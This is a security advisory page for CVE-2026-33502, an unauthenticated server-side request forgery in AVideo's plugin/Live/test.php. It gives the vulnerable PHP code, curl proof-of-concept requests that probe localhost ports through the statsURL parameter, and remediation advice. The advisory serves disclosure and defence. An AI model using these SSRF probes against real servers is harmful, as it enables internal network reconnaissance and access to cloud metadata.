Advisory details:
github_osv / GHSA-3fpm-8rjr-v5mc
| Advisory ID | github_osv/GHSA-3fpm-8rjr-v5mc |
| Aliases |
CVE-2026-33502
|
| Summary | AVideo has Unauthenticated SSRF via plugin/Live/test.php ### Summary An unauthenticated server-side request forgery vulnerability in `plugin/Live/test.php` allows any remote user to make the AVideo server send HTTP requests to arbitrary URLs. This can be used to probe localhost/internal services and, when reachable, access internal HTTP resources or cloud metadata endpoints. ### Details The endpoint accepts `$_REQUEST['statsURL']` and only checks that it starts with `http`: ```php $statsURL = $_REQUEST['statsURL']; if (empty($statsURL) || $statsURL == "php://input" || !preg_match("/^http/", $statsURL)) { exit; } ``` It then calls: ```php $result = url_get_contents($statsURL, 2); ``` Inside the same file, `url_get_contents()` performs a real outbound request with `file_get_contents()` when `allow_url_fopen` is enabled: ```php $tmp = file_get_contents($url, false, $context); _log('file_get_contents:: '.htmlentities($tmp)); ``` There is: - no authentication check - no allowlist of trusted stats URLs - no SSRF-safe URL validation - reflected response/error output Validated on source: - [test.php](https://github.com/WWBN/AVideo/blob/781aa070a61a93b1c368fca3db862bc70bad2e04/plugin/Live/test.php) ### PoC Target used during validation: ```text http://127.0.0.1:80 ``` 1. Probe a closed localhost port: ```bash curl -s \ 'http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:1/' ``` Observed response excerpt: ```text Starting try to get URL http://127.0.0.1:1/ url_get_contents start timeout=2 Warning: file_get_contents(http://127.0.0.1:1/): Failed to open stream: Connection refused file_get_contents fail return an empty content FAIL ``` 2. Probe the local web service itself: ```bash curl -s \ 'http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:80/' ``` This returns upstream connection details from the server-side request and confirms the endpoint can target local/internal HTTP services. ### Impact This is an unauthenticated SSRF vulnerability affecting any deployment that exposes `plugin/Live/test.php`. An attacker can: - probe localhost and internal network services - distinguish open and closed ports - target cloud metadata endpoints if reachable - retrieve reflected content from internal HTTP services when the upstream responds with a body The server and the internal network reachable from it are impacted. No unauthenticated code execution was validated from this issue on the tested environment. ### remediation The safest fix is to remove `plugin/Live/test.php` from production deployments. If it must remain: - require admin authentication - only allow requests to explicitly configured Live stats URLs - block localhost, RFC1918, link-local, and metadata IP ranges - stop reflecting fetched bodies and raw upstream errors to the client Minimal hardening example: ```php require_once dirname(__FILE__) . '/../../videos/configuration.php'; if (!User::isAdmin()) { http_response_code(403); exit('Forbidden'); } $statsURL = $_REQUEST['statsURL'] ?? ''; if (empty($statsURL) || !isSSRFSafeURL($statsURL)) { exit('Unsafe URL'); } ``` ### Remove `wget` Fallback Entirely The `wget` fallback provides no unique value over `file_get_contents` + `curl` and introduces shell exposure. Remove lines 94–119 of `test.php`. ### If wget must remain, escape the argument: ```php // BEFORE (vulnerable) $cmd = "wget --tries=1 {$url} -O {$filename} --no-check-certificate"; // AFTER (safe) $cmd = "wget --tries=1 " . escapeshellarg($url) . " -O " . escapeshellarg($filename) . " --no-check-certificate"; ``` ### Defense in Depth 1. Move the file behind the admin panel URL prefix (Apache/Nginx deny rule for public access) 2. Add `isSSRFSafeURL()` check (already exists in `objects/functions.php`) before any fetch 3. Block outbound connections from the web process to RFC1918 addresses at the firewall/egress level |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 8.4 |
| Risk | 4.2 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| System | Score | Found at |
|---|---|---|
| cvssv3.1 | 9.3 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-3fpm-8rjr-v5mc/GHSA-3fpm-8rjr-v5mc.json |
| generic_textual | CRITICAL |
| Reference id | Reference type | URL |
|---|---|---|
| https://github.com/WWBN/AVideo | ||
| 1e6cf03e93b5a5318204b010ea28440b0d9a5ab3 | Other | https://github.com/WWBN/AVideo/commit/1e6cf03e93b5a5318204b010ea28440b0d9a5ab3 |
| CVE-2026-33502 | https://nvd.nist.gov/vuln/detail/CVE-2026-33502 | |
| GHSA-3fpm-8rjr-v5mc | Other | https://github.com/WWBN/AVideo/security/advisories/GHSA-3fpm-8rjr-v5mc |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-03-24T14:57:32Z/
Decision: Track
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2026/33xxx/CVE-2026-33502.json
Source Advisory: vulnrichment/CVE-2026-33502
[{'Exploitation': 'poc'},
{'Automatable': 'yes'},
{'Technical Impact': 'partial'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]